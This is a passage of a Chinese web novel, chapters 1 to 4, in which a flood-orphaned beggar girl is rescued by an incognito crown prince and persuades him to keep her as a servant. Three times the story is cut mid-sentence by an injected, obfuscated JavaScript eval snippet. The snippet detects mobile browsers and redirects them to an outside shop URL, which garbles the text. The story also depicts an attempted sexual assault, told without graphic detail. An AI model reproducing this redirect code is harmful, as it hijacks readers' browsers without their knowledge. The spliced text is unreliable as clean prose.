《我见青山》 1. 第 1 章 天元二十三年,曲洲大雨,又撞上了淮河汛期,一时之间,遍地雨水几乎齐腰深。 每日阴云密布,云彩深沉似墨,仿佛要沉沉从天际压下来。 沿路乞讨者甚多,一路饿殍遍地,百姓流离失所,曲洲惨不忍睹。 青奚帝对曲洲情况极为重视,派遣太子谢知寒前往曲洲督办此事。 其实此事原不用太子出面,毕竟太子金尊玉贵乃为一国储君,若是有了什么闪失,于国祚不利。 青奚帝本来想让敬王去曲洲历练一番,但敬王可是李贵妃的心头肉,李贵妃又怎么会让他去趟这趟险。 青奚帝架不住李贵妃天天吹枕头风,最终还是抵抗着被文臣上折子的危险让谢知寒去曲洲走一遭。 曲洲。 昨日才经历了一场涨潮,今儿个雨水又停了,街道上满是泥泞,空气中弥漫着一股潮湿的腥味。 现在已经是傍晚,天边灰沉沉的,看不到一丝光亮,只教人心里沉甸甸的,透不过气来。 眼看着雨水停了,街道上的行人开始行动,只是身体不便,走起路来也是歪歪扭扭的,走几步路就要扶着墙。 远远看去,在街道上穿着破衣的行人宛如鬼魅,在幽暗天色的掩映下显得极为骇人。 角落里,一群乞儿对着角落中拳打脚踢,口中还不断发出恶语。 “让你抢我们的东西,也不看看自己是谁,以后还敢不敢偷了?” 许久都听不到告饶的声音,那群乞儿许是觉得这样没意思,恶狠狠地继续打了几下之后就散开了。 走之前还对着角落中蜷缩成一团的小人恶狠狠地命令:“以后长点眼,不是你的东西就赶紧给小爷放下。” 角落中的小人一直紧紧地缩成一个小团,良久,她才缓缓抬起头来,露出一双眼睛。 那是一双很漂亮的眼睛,黑白分明,瞳仁很亮,像是水洗过一般,里面荡漾着盈盈秋水。 修长如蝶翅的睫毛上沾着一滴盈盈的泪珠,堪堪悬在眼睫边沿,要坠不坠。 眼看着就要落下来了,江露染用力眨了眨眼睛,硬是没让那滴泪珠落下。 自从父母在这场天灾中离开,她就再也没有落过泪了。 这个世界上再也没有人值得让她痛痛快快哭一场。 被打了一顿又怎样,江露染调整好自己的情绪,至少还吃到了半个馒头,今晚是不会挨饿了。 眼看着周遭越来越黑,得赶快找一个避风的角落就寝才是正经事。 想着,江露染就从角落中起来,走向一个她经常去的地方,到了以后一看,果然那里还有一个空处。 虽然地方很小,但足够她将就一晚了。 才刚躺下,就有一个老乞丐对着她道:“起来,不懂事的后辈,这个地方明明是我先来的。” 说话间,就要将江露染从原地拽起来。 明明是她先来的,最后却要她给别人让位置,这是什么道理? 江露染没有动,老乞丐本来就已经很生气了,如此再看到这个小孩子如此不懂事,眼看一个巴掌就要落下来。 周围的人早就见惯了这种明目张胆抢位置的行为,管他是什么老人,什么小孩。 只要是跟自己有冲突的,统统都是外人,他们不会帮忙,只会冷眼旁观。 江露染自然是斗不过一个身材体型都比自己要强壮的多的成年人,去老乞丐缠斗一番,终是落了下乘。 在旁人看热闹的眼神中起身离去。 此时避风的地方早就挤满了人,哪里还有她的一丁点位置,此时夜幕早就垂落下来,夜晚正式降临了。 曲洲晚上的风很冷,尤其是现在正值雨季,夜风刺骨。 凛冽的寒风将江露染的衣服吹的鼓起来,冷风一个劲的朝她身体里钻,一身破衣自然抵御不了任何冷意,冷风像一把冰冷的刀刃在她的皮肤上割。 江露染浑身动的打起哆嗦,垂落在腰际的乌黑长发也在风中摇摆。 周围的人都在看着这个她受折磨,却没有一个人对她伸出援手。 甚至还有甚者,对着她娇俏的背影发出讥笑,小声地对同伴嘀咕。 “这小丫头看上去长的倒是不赖,却不知道对小爷我笑一笑,若是主动对小爷我笑一笑,说不准小爷我呀,还能给她让出一小块地方。” 调笑的声音顺着冷风吹进江露染的耳中,她浑身打了个哆嗦,只觉得身体比方才更冷了。 生逢其时,她的命还不如一只蝼蚁。 她一个人顺着长长的街道走了很远,风不断的将她的衣服吹起,远远看去,就像一只折翼的蝴蝶。 终于,在走的几乎累倒的时候,江露染发现了还可以勉强避风的地方,走过去将身子用力的蜷起。 在将睡未睡之际,江露染迷迷糊糊听到身边人在说话。 “你说咱们曲洲都这样了,谁能来救咱们一下?” “趁早别做那梦,这里天高皇帝远,连县丞都卷钱跑了,谁还能顾及咱们不成。” “话可不能这么说,听说皇帝派了太子殿下过来慰问咱们,等到太子殿下过来,一切就会好起来了。” 太子殿下,等到他来真的就会好起来了么? 可是他到底什么时候来呢?她快要撑不住了。 这是江露染入睡前最后一个念头。 夜里寒风呼啸,浑身发冷,江露染睡得并不好,做了一夜的噩梦。 次日晨起,竟然罕见的出了太阳,温暖的光穿透云层照耀下来,每个人浑身都暖洋洋的。 江露染娇小的身子也染上了一层金霜,逐渐驱逐了昨日夜里的寒冷。 众人都因着多日不见的日光而欣喜,纷纷走到街道中央欢呼。 江露染却在发愁今日的餐饭怎么办,昨日一整天就吃了半个馒头,如今腹中已是饥肠辘辘,若是再不吃些东西,怕是连路也走不动。 她拖着自己的身子走到街道中央,看着街角一家卖包子的小摊直咽口水。 店家一看江露染就拧起眉头,这几日一直都有小乞丐偷他们家的包子,越发的赔本了。 他一看见江露染就知晓她心中在想些什么,连忙用身体护住圆笼里的包子,不客气地驱逐到:“去去去,没钱就别看,这里不免费施舍。” 江露染看着包子好几眼,在店家的驱逐下终是一步三回头地离开了。 她脚步虚浮,饿的浑身想要飘起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711768|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只想吃一些东西,哪怕是一丁点东西也可以,不是说世间有神明会聆听凡人的心愿吗? 为何她已经在心里发了无数遍誓愿,还是看不到神明的现身? 或者说,这些只是骗着人玩的? 这世界上根本没有神明? 江露染迷迷糊糊想到昨日他人议论不休的太子殿下,太子应当是很厉害的罢,他真的会来曲洲吗? 他若是来了曲洲,曲洲会变好吗? 能不能让自己吃饱穿暖,过的好一点? 他是太子,应该会做到的罢? 江露染脚步虚浮,最终倒在了一个破败的墙角下。 那里一群饿了许久的人聚集着,眼看着一个小乞儿就这样倒在了自己身边。 这些天里这样离开的人实在太多,没有人会将江露染当回事。 有一阵风将覆盖在江露染脸上的碎发吹起,露出她娇小精致的一张脸。 虽说这张脸上美丽的眼眸已经紧紧闭上,脸庞上还沾着些许灰迹,但还是可以看出姣好的五官,眉眼稠丽。 “这小乞丐长的倒是还可以。” 有一个人说着,其余人也纷纷像江露染看过来,果然见那小乞丐虽然落魄,但仍旧是不可多见的美人坯子。 如今这小美人就这样横倒在面前,弱柳扶风一般。 逐渐的,有人起了色心。 缓缓的向江露染靠过去,企图一亲芳泽。 才只是轻微的靠近,江露染微微抬了抬眼皮,像是感觉到了周围的危险,很快睁开眼睛,那双眼睛生的很大,宛如明月般,此刻里面闪动着害怕和惶恐,几乎立刻沁出了泪水。 看见这双眼睛的人只觉那双眼睛有着迷人的吸引力,只略略看一眼,就被这双眼睛给吸了进去。 今天是什么好运气,竟然让他们碰到这种美人。 想着,他们就越发靠近江露染,看着他们眼神中的贪欲,江露染怎么可能不知道他们心中在想什么。 只是,她没想到如今大家都是受苦的人,光天化日之下,这些人竟然敢肖想这些事情。 江露染生起气来,明媚的眼神中迸射出火光,她虽然如今是落魄了,可也轮不到这些人来随意折辱她。 很快,围上来的人群纷纷发出惨烈的叫喊。 “她竟然敢咬我!” “这小妮子力气还挺大,都给我咬出血了都!” “捉住她,给她点厉害瞧瞧!” 说着,那些人重新卷土而来,江露染一个人哪里是这些人的对手,很快就败下阵来。 眼看很快就可以对面前的美人一亲芳泽,周围的人也越发肆意起来。 “好妹妹,让哥哥好好疼疼你,□□后不会亏待你的。” 说出的话也越发粗鄙不堪,难以入耳。 江露染心中漫出无尽的绝望,眼睛中也沁出明亮的水光,里面全是无助和迷茫。 这种时刻,她究竟要怎么办? 正值江露染绝望无助的时候,倏地传来一阵清冷,冷沉的声音。 听在江露染耳中像是仙乐般动心。 “住手!” 神明终于听到了她每日虔诚的祷告了吗? 2. 第 2 章 众人自然也是听见这磁沉的声线,纷纷向后看去,只见一位身穿白衣的贵公子身姿清隽地骑在马上,清冷矜贵。 那人用一根白玉簪绾发,眉眼间透露着冷沉,一双精致的凤眸此时正向着这里看来,墨色瞳仁看不出什么情绪,只是淡淡的,然而与那道视线触碰时,却能感受到巨大的压迫,令人战栗。 谢知寒一身白衣宛如仙鹤,姿容昳丽,不染纤尘,宛若谪仙。 眼见那群人还没什么举动,他的视线继而又淡淡地扫过来,眉眼明澈,却带了几分肃杀,语气不容置喙。 “放开她。” 身边的侍卫也抽出了佩在腰间的刀,刀锋在日光下显得极为雪亮。 美色在前,可是什么也比不上性命重要。 且一看这人大有来头,想要动手杀人岂不是宛如捏死一只蚂蚁。 围在江露染身边的人纷纷退却,转瞬之间,就只剩下江露染一个人。 江露染抬眼望去,恰好与谢知寒视线相撞。 少女满身狼狈,小脸上一双眼睛却极为明亮,像是天际皎洁无暇的星,令人见之望俗。 她的眼眶中含着泪水,像是一汪清泉,少女强忍着泪水,眼尾泛起一抹淡淡的薄红。 她雪白的脸颊染上灰屑,像是染了些许尘埃的白瓷。 谢知寒看了她两眼,随后向着身边的侍卫南风吩咐了几句。 随后,南风就走到江露染身边给了她一些碎银。 江露染定定地看着南风掌心中的银钱,长久地窝在角落没有动。 “姑娘莫不是吓坏了?别担心,收下吧,这是公子的一份心意。” 南风缓声劝慰。 眼前的少女身姿娇小,娇美的小脸上泪珠将落未落,宛如梨花带雨,看上去可怜极了。 良久,江露染还是没有伸手拿那些碎银。 爹娘说过,不可以无故拿别人的好处。 再说,江露染视线移到谢知寒身上,这位公子救了自己,自己怎可再无端收人银钱。 这样不好。 殿下此番来曲洲可是有正经事要做,不能如此耽搁时间,饶是南风脾气好,此时也未免有些着急。 “回来吧,南风。” 谢知寒眼见事情僵住,对着南风吩咐道,声音透露出几分慵懒。 南风听见殿下如此吩咐,心中亦是松了一口气,连忙回到谢知寒身边。 眼见谢知寒就要走了,江露染这才鼓起勇气再次抬头看他。 那人一身白衣,纤尘不染,衣角用银线绣了卷云纹,身姿清隽,从容不迫,恍若谪仙,方才仅仅是被他随意看了一眼,她的心中就砰砰直跳,脸颊也不由自主地烧了起来。 眼见着那人骑在马上越走越远了,江露染心中一阵惶惑。 若是他走了,还有谁能来庇护着自己。 方才那样的事情,她不想再经历第二次了。 谢知寒马上就要在街角转弯,忽听闻身后一阵少女的呼唤,声音清泠若风吹银铃。 “公子,请等等。” 南风转身,见是方才那名被救下的少女,立即向谢知寒回禀。 “殿下,是方才那名少女。” 谢知寒脑海中立即浮现出少女的模样,虽然被人欺辱,但周身凌人的气势不灭,这种气势显现在她姝丽的眉眼上,让谢知寒想到去岁在林中打猎遇到的鹿。 柔弱且倔强,清冷却不屈。 殿下一向不近女色,尤其是这少女还是陌生人,殿下应当还是会给她银钱。 南风暗自思忖着。 谁料静默片刻,谢知寒低声询问南风:“看她是否有难处?” 南风心中惊疑不定,这还是殿下第一次主动对一个女子如此这般,应当是看她太可怜了罢。 南风上前去问,还不等南风开口,江露染就对着那道清俊昳丽的背影道:“小女感谢公子相救之恩,可否让小女子在公子身边侍奉,以报答公子的救命之恩。” 这,南风视线移到自家主上身上,很快又移回来。 恐怕要让这姑娘失望了,殿下他一向远离女色。 谢知寒听到背后少女的祈求声,神色仍旧淡漠,猜不透他此时的情绪,只听到他清冷不变的声线,像是冬日细雪。 “此乃举手之劳,姑娘大可不必如此。” 果然。 南风对着江露染道:“姑娘,公子既然如此说了,还请姑娘多保重。” 说罢,将方才江露染不要的银钱塞到她手里,而后很快跟上谢知寒,几人转过街角,身影很快看不见了。 饶是一向对民间疾苦有多加关注的谢知寒,此次来到曲洲,也被曲洲的景象触目惊心。 在上京一片祥和,人人锦衣玉食,坐享极乐的情况下。 曲洲百姓已是食不果腹,穷困潦倒,几乎到了易子而食的地步。 谢知寒心中闪过一丝沉痛,当他的子民在受苦时,他又在做些什么。 他既然身为储君,自然就要担负起拯救子民的义务。 正想着,身后传来一阵清泠的声音,很是熟悉。 “公子,请您收下我吧,我可是很机灵的,必定会将公子服侍好。” 南风不可置信地看着身边的少女,此地距离方才的街道已经有不远的距离,这少女如何能走的这般快,而且还如此记路。 谢知寒也是一愣,清隽的眉眼牢牢盯住眼前一路追随的少女,像是要从少女脸上看出些什么企图。 少女的眼眸很是干净,瞳仁沾了一点水色,显得波光粼粼,她的胸口微微起伏,额上落了几滴薄汗,晶莹剔透。 想必一路未停。 谢知寒移开目光,南风自然知晓自家主子在想什么,无奈道:“姑娘还是请回吧,公子他实在是不缺人手。” 江露染一双剪水秋瞳仍旧一眨不眨盯着谢知寒,见谢知寒久久不发声,眼眸中逐渐浮出雾气。 因着他是东宫太子,宫中有不少宫女想要刻意接近,谢知寒见过不少类似的路数。 虽说面前的少女不知晓他的身份,也只是单纯的想报恩,可是少女的眼泪像浮在他心上,连带着他的心也难受起来。 谢知寒为自己这点莫名的反应感到有些烦躁。 他是储君,注定要无心无情,不能让任何人成为他的软肋。 眼见着谢知寒面对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711769|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视若无睹,毫无反应,而此刻谢知寒竟然只是重新策马而上,不再看她一眼。 江露染胸口起伏变大,她好不容易遇见了一个可以庇护自己的人,不能轻易就让他走了。 谢知寒寻了一家客栈,刚点好菜单,就听到一个极其熟悉的声音。 “公子。” 谢知寒不用回头也知道身后那人是谁,她倒是执着,只是不知用了何种办法锲而不舍地追上来。 南风哪里见过这种场面,本以为姑娘家都面皮薄,被拒绝了两次按理说应当不会再追上来才是。 可眼前这娇小少女倒是一个意外。 南风偷偷窥看谢知寒的脸色,只见自家主子面上仍旧淡如冰雪,看不出喜怒,南风正想让江露染退却。 却听闻谢知寒不紧不慢地开口,语气也带着淡然。 “南风,带这位姑娘更衣。” 南风一愣,殿下这是何意?不会让这名少女留下了吧。 他很快带着江露染去了一家上房,趁着江露染在房间沐浴,南风连忙去外面的成衣店挑了一件女子的衣裙。 做太子殿下的侍卫这么多年,南风还是第一次做这种事情,当老板娘问需要多大尺寸的时候南风还是红了脸。 江露染沐浴之后换上南风准备的衣裙,对着铜镜简单绾了一个发髻。 南风带着江露染来到谢知寒面前,此时饭菜早已经上全,谢知寒却没有动,看来是在等着他们二人一起。 “公子。”南风轻声唤他。 谢知寒从方才起就一直在思索如何治理曲洲的事情,被南风一唤,恍然抬眼,视线不偏不倚落到面前的少女身上。 肤白若雪,眉眼稠丽,身段优美,倒是个倾国倾城的美人,与方才落魄的小乞儿判若两人。 但谢知寒一向不近女色,心中没起任何其他的心思,只是淡声道:“既然来了,那就一起用膳吧。” 江露染就坐在谢知寒身侧,余光只要微微一动就可以看到谢知寒清隽的眉眼。 谢知寒看上去虽平易近人,但江露染敏锐地察觉到,他周身散发着一阵冰寒,显示着生人勿进。 江露染坐于他身侧,可以闻到从他身上传来的阵阵檀香,有些清冷。 江露染顺着他用膳的动作看去,果然看到他清隽的腕骨上缠了一串佛珠,想必檀香就是从那里传来。 江露染正看的出身,忽听闻南风轻咳了一声,立时将江露染的思绪拉了回来。 想她江露染也是有几分定力的,此刻怎么会被美色所迷,立刻定了心神去用膳。 南风:很久不出宫,现在的小姑娘都如此大胆了吗? 再看谢知寒倒是如之前一般光风霁月,丝毫没有被人偷窥的不适。 殿下果真就是殿下,定力真好,南风在心中赞叹。 谢知寒何尝不知晓江露染快要黏在他身上的视线,但他从小就习惯了接受来自各方的窥察,此时自然算不了什么。 谢知寒视线重新落到身侧的江露染身上,看到她雪白额而后染上了一点薄红,像是雪地里盛开的一株梅花。 谢知寒微微挑眉,他倒是没看出来,这小姑娘倒是挺爱害羞。 3. 第 3 章 一顿饭用毕,眼看着谢知寒自顾自休憩去了,眼中似乎根本没有自己的模样。 江露染心头瞬间染上一阵难过,他还是不想让自己留下吗? 自己对谢知寒不过是寻求庇护之意,可是为何看到他眼中没有自己竟会如此难过。 那双眼眸明净透澈,是江露染十几年来看过的最好看的一双眼睛。 连同他的整个人也是卓尔不群,龙姿凤章,宛如天上明月。 有那么几个瞬间,江露染竟然新生妄念。 她想将这轮明月摘下来。 她转瞬之间又摇了摇头,这可是自己的恩人,她怎么可以如此亵渎自己的恩人。 可是恩人如今一点也不需要她的报恩。 但江露染有一点好,就是永不放弃,且越是艰难她就越喜欢迎难而上。 就算面前是一座冰山,她也要努力将它融化。 眼看着谢知寒站起,飘逸的身影越来越远了,登上楼梯,很快就要转过走廊。 江露染起身,提起裙裾快步跑到谢知寒身后,速度快到连南风也没有拦住。 “公子。” 谢知寒向前走的脚步微顿,身形一滞,他狭长的凤眸微微眯起,她竟然还没有走吗? 倒是锲而不舍,若是在上京,他倒要看看这人有怎样的阴谋。 身后传来一阵清浅的甜香,还有少女疾步之后的微微喘息。 谢知寒转身,视线凝在追随她而来的少女身上,她穿着南风买来的烟罗绮云裙,腰肢纤纤,不盈一握,一头乌发只是简单的用素簪绾了个发髻,小脸娇美,眼波盈盈。 宛如春日里盛开的一株海棠,堪称绝色。 饶是谢知寒在上京见过不少美人,此时视线也微微一凝。 眼看着那双净澈的眼神中逐渐冷了下来,像是冬日突然而至的一场雪落。 知晓他要说什么,江露染连忙开口。 “公子,小女真的只是想要报答公子的恩情,除此之外再无其他的想法。想来公子是个菩萨般的善人,圆了小女的这个心愿也一定是可以的吧?” 少女的眼眸明亮,看着谢知寒的眼神很是专注。 谢知寒眯起眼眸,墨色的瞳仁打量着江露染。 菩萨般的善人,这倒是第一次听见有人如此形容他。 自从母后去后,谢知寒独自一人居住在东宫,见惯了人情冷暖世态炎凉。 他自问不是什么好人,只是在听到面前的少女如此形容他的时候心中还是一滞。 面前的少女眼神无比专注地望着他,眼眸中似乎藏了星辰。 谢知寒凝视她半晌,向着江露染的方向迈出一步,他栖身向前,白色的身影将少女笼住,清冷的檀香铺天盖地的席卷过来,与面前少女的甜香交织在一起。 眼看少女的杏眸中浮出一层淡淡的水汽,谢知寒轻轻嗤笑一声,修长冷白的手指挑起面前人的下巴,声音磁沉,带了一些哑意:“不是说要跟着我吗?怎么害怕了?” 谢知寒的声音顺着她的耳尖一路延伸到了全身的血脉当中,江露染瞬间小脸发烫,面前俊美无俦的容颜就在她面前,可她此时竟然一句话也说不出来。 好不容易找回自己的思绪,然而却语不成调。 “公...公子。”连舌头也在打结。 江露染在心中鄙夷自己此时的失态。 他会不会觉得自己是看上了他外貌的肤浅之辈。 眼看身边人又要再一次转身而去,江露染心中漫出恐慌,生怕他这一去,就再也不肯回身了。 她心中鼓起勇气,用力拉住了谢知寒的一片衣角。 娇嫩细白的手指覆盖在那片薄薄的衣角之上,看上去非常脆弱,仿佛一碰就断。 南风追上来看到这一幕心中一颤,殿下从来不喜欢旁人触碰,更别说是这个今日只见了一面的小姑娘了。 他还记得之前在东宫对殿下起过肖想的宫女,也是如今日这般,异常大胆地去触碰殿下,结果还未碰到,就被殿下一剑杀了。 殿下看上去光风霁月,实则在先皇后去了以后,殿下的性格就有些令他猜不透了。 这小姑娘显然就是危险了,南风正要劝谏,才开口,就见谢知寒重新回转身来,墨色瞳仁定定地看着眼前的少女,眸色深沉,令人猜不透他在想什么。 片刻后,谢知寒开口,声音清隽,像是春日的风。 “你既这么想留下来,那就留下来吧。” 江露染贸然对他做了这样的事情,本以为他会训斥自己,而她也已经做好了被训斥的准备。 然而没有想到的是,他竟然同意了她的请求。 南风也呆立在原地,方才他听见殿下说什么,殿下竟然让这姑娘留下了,殿下莫不是被人夺舍了罢。 江露染也呆立在原地,一双杏眸呆呆地望着谢知寒。 倏地听闻他一声浅笑,声线清沉。 “为何还不松手?难道是想让我白日里宽衣吗?” 江露染这才反应过来,连忙松开握着他的那片衣角。 谢知寒温声吩咐南风:“照看好她。” “是。”南风回应。 看来殿下果真是要留下这名少女了。 既然是做殿下身边伺候的人,那自然就要知晓殿下的喜好。 只是现在可以将殿下的身份透露给这个姑娘吗? 殿下虽说是奉了陛下的命令前往曲洲治理水患,曲洲的官员也都做好了迎接殿下的准备。 但殿下此时也没有去往曲洲官府,只是隐瞒了自己的身份沿途在曲洲一带视察。 南风思虑片刻,决定还是将殿下的身份继续隐瞒下去,毕竟这小姑娘也是个不熟悉的,若是知晓殿下的身份,起了什么叵测的心思,那就不好了。 眼看着殿下去了房间休息,南风将江露染带到另外一个房间,将谢知寒的喜好告知于她。 江露染一条条记了下来。 公子爱洁,衣物基本一天一换。 公子喜好喝清茶,泡茶一定要讲究,不能苦了,也不能淡了。 公子喜好读书,读书的时候不喜有人在一旁打扰,但是公子要写字时,必须要第一时间上去磨墨。 公子一向稳重,所以身边侍奉的人也一定要是端庄有礼的。 说到这个, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711770|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南风看了一眼江露染,道:“所以像方才那样一而再再而三地跟着公子可不能再做了。” 江露染点点头。 南风再次看一眼江露染,见小姑娘脸上平淡无波,不禁好奇。 殿下的这些习惯有时候连南风也觉得严苛,但这小姑娘竟然一点也没有不耐,倒是一个镇定的人。 看来殿下果然还是慧眼识珠。 谢知寒在房内想了一下午治理曲洲的事情,今日一路走来,眼见曲洲百姓处于水深火热之中,他心中自然也是不好受的。 如今之计,就是尽快恢复曲洲的民生,让曲洲百姓早日回到当初的情态。 晚饭,还是和午饭一般,三个人一起吃。 江露染身侧依旧是谢知寒,他身上清冷的檀香包裹着她,让江露染的内心无比安定,江露染从来不知道,檀香原来可以令人心静。 谢知寒用膳也是一派端庄的模样,正想着,江露染的竹筷一松,竹筷中夹的香菇掉了出来。 霎时间,江露染感觉桌案上的空气凝固了一般。 江露染突然想起谢知寒非常喜欢端庄的人,她脸庞微微浮上淡粉,像一朵海棠花露出花蕊。 可是她不是故意的,她只是看他看的走了神,他应当不会生气吧。 谢知寒墨黑视线淡淡地扫她一眼,俊美无俦的面庞看不出任何表情,不知晓他到底有没有动怒。 南风见状,连忙将掉落在桌面的食物清理掉,于是江露染用膳更加小心起来,生怕自己不合他的心意,被谢知寒挑个理由赶走。 一顿饭就这样相安无事的用完。 饭毕,江露染想起谢知寒喜欢用清茶,于是特意给谢知寒泡了茶水,将茶水细心地倒进茶杯,小心翼翼地递到谢知寒手边。 “公子,给你泡了一杯茶,你看看合不合味道?” 江露染趴伏在桌案边,露出一双灿若朝霞的明亮眼眸一眨不眨地望着谢知寒,里面含着无限期许。 这泡茶法她可是学了一下午,里面满满都是她的心意。 谢知寒修长冷白的手指拿起茶盏,从江露染的方向可以看到他的手指修长,骨节分明。 谢知寒薄唇轻启,喉结微动,咽下一口茶水,倏尔瞳孔一凝,视线移到江露染身上,不轻不重地看了她一会儿,而后缓缓将整杯茶一饮而尽。 谢知寒的眼神无端让江露染后背一凉,江露染把这总结为自己的错觉。 待谢知寒喝完茶水,将茶盏重新置于桌案上。 江露染从一旁凑过来,杏眸亮闪闪的:“公子,味道如何?” 谢知寒视线重新移到江露染身上,他的瞳孔墨黑,像是无边的夜色,黑沉沉的,江露染突然感觉到他或许...有点不高兴? 难道是茶水不好喝?不可能啊,她明明努力学了一下午如何泡茶。 如此想着,江露染也为自己添了一杯茶,茶水入口,又酸又涩,完全难以下咽。 江露染一张小脸皱成包子,几乎是立时将茶盏放回。 怎么会这样? 江露染挫败地对谢知寒道歉:“公子,我不是故意的,公子就不要生气了吧。” 4. 第 4 章 谢知寒抬眼看向身边的少女,少女昳丽的眉眼皱起,像只受了委屈的猫。 她本来就是街上偶然遇到的女子,她今日会选择跟着自己不过就是一时兴起,等到曲洲的事情一了,她自然会去往新的去处。 而自己,也是要回宫向父皇复命的。 他们,只不过是偶然才会有交集罢了。 谢知寒自然也不会要求少女真的去做一些什么,如此想来,谢知寒淡淡开口,声音清隽:“以后你不必做这些事了,交给南风去做就好。” 江露染一听,倦怠的眉眼更加难受,他果真是生气了。 连个改过的机会都不给她。 如此想着,江露染的眼泪又浮上来,堪堪悬在睫毛上,要坠不坠,看上去可怜极了。 南风与江露染相处了一下午,感觉到江露染就是个小姑娘,心思很是单纯,有什么情绪也是极为简单的挂在脸上。 此时见到江露染被殿下训斥,竟然不由自主为江露染讲话。 “公子,她也是刚开始学,虽然有所欠缺,但是将来她会最好的。” 谢知寒淡淡瞥了南风一眼,眼神似冰雪,南风这才反应过来方才是自己僭越了。 既然都是殿下的人那自然一切都要听殿下的。 南风立刻告饶:“属下知错。” 江露染眼看着南风被迁怒,心中的负罪感更深,为何她连这件小事也做不好,总是给人添麻烦。 心里如此想着,那滴悬在眼捷上晶莹的泪珠滚落,顺着她娇俏的小脸一路向下,宛如梨花带雨。 这一幕自然也落到了谢知寒眼中,他微微凝眸,捏着茶盏的手指顿了一瞬。 难道他看上去有如此吓人? 他细白的手指曲起,指节轻敲桌面,发出清脆的叩击声。 片刻,他淡淡的声音传来,对着江露染一字一句道:“莫哭了,下次泡好些。” 简单的一句话将江露染从极大的难堪中解脱出来,少女顿时眉开眼笑,眼睛完成月牙,对着谢知寒道:“是,公子,我下次一定会做好的,肯定不会让公子失望。” 谢知寒对着少女灿若朝霞的明媚笑颜愣了一瞬,在宫中人人都是谨小慎微,就连母后对着父皇时,也是克制守礼的。 他从来没见过眼前少女这般明媚的笑颜。 南风见殿下与少女之间的小摩擦解开,主动唤了小二过来收拾,饭后,谢知寒仍旧要回房中思虑对策。 这些时日他虽然隐瞒了自己的身份,但是他这一路行来,想必也是极为瞩目的。 说不准他的身份早已被当地官署猜到。 当时父皇听闻曲洲之事,拨了不少赈灾的米粮下来,如今雨势已经停止,可是百姓仍旧处在水深火热之中,可见朝廷播下的赈灾米粮并没有完全下放到百姓身上。 他此番前来就是要找到赈灾的米粮,帮助曲洲百姓度过难关。 总在这里空想,不是个问题,看来明日得去见见当地官署了。 谢知寒沐浴之后就睡下了,直至半夜被一阵尖锐的声音吵醒。 听着像是从隔壁的房间传来的,那间房间住的是,谢知寒眼眸眯了眯,立即披起衣裳就去往隔壁,江露染就在那间房。 听到那小姑娘如此凄厉的呼喊,恐怕是遇到了事情。 虽说与这小姑娘交情不深,可他毕竟是当朝太子,来曲洲的当日,他身边的人就出了人命也是不太好的。 他推开门,立刻来到江露染床前,只见小姑娘眉头紧锁,眉眼显现出痛苦,口中仍旧在不自觉地喃喃些什么。 原来是在说梦话,不是遇到坏人。 谢知寒心底一松,看见小姑娘的被褥没盖好,露出一截雪白的肩,谢知寒眉眼一凝,轻轻将被褥提了上去,盖住小姑娘露出的雪肩。 当他悄然收回手,准备退出房间时,江露染突然伸出手一把握住他的手腕。 他一向不喜外人亲近,尤其是母后走了之后尤甚,宫中伺候他的人又是及其守规矩的。 是以从来没有人在谢知寒面前如此放肆过。 这简直是在当面轻薄他。 可奈何江露染仍旧沉浸在睡梦之中,对周遭发生的一切毫无所知。 谢知寒摇晃了几下手腕,小姑娘握着他的力气紧紧,根本挣脱不掉。 握住谢知寒的手腕之后,江露染还径自翻了个身,神色放松下来,也不再说凄厉的梦话了。 谢知寒看着江露染沉睡的容颜,很是无奈。 这小姑娘睡眠倒是不错,他根本唤不醒她。 翌日,江露染醒来的时候,感觉昨晚睡得真是好,虽说好像一开始做了噩梦,有好多人围上来欺负她,她吓得简直要哭起来。 后来有人上来帮她赶走了那群坏人,还牢牢握住自己的手,而后她就一点也不害怕了。 救下他的那人身穿白衣,身上有好闻的檀香。 檀香?梦中的香味为何可以如此清晰的闻到? 江露染困惑地睁开眼睛,她揉揉惺忪的睡眼,就看到眼前的人一身白衣,乌发凌乱地披在肩上,伏在她的床前轻轻睡去。 江露染可以看到他精致的侧脸以及线条优美的下颌。 她动动手指,倏地感觉到她的手似乎握了一个什么东西,江露染愣了片刻,低眉去看,她的手指正紧紧握着谢知寒清晰的腕骨。 她瞬间小脸发热,将握住他手腕的手指松开。 这一个举动,谢知寒就已经醒了,他一向浅眠。 江露染与谢知寒黑沉沉的瞳孔对视,他的眼眸中还带着清晨醒来的倦意,整个人看上去非常懒散。 与他昨日拒人于千里之外的模样相差甚远。 江露染实在受不了谢知寒眉宇里淡淡的压迫,她虽然不清楚是怎么回事,但主动告饶总是没错。 “公子,我...我不是故意的...” 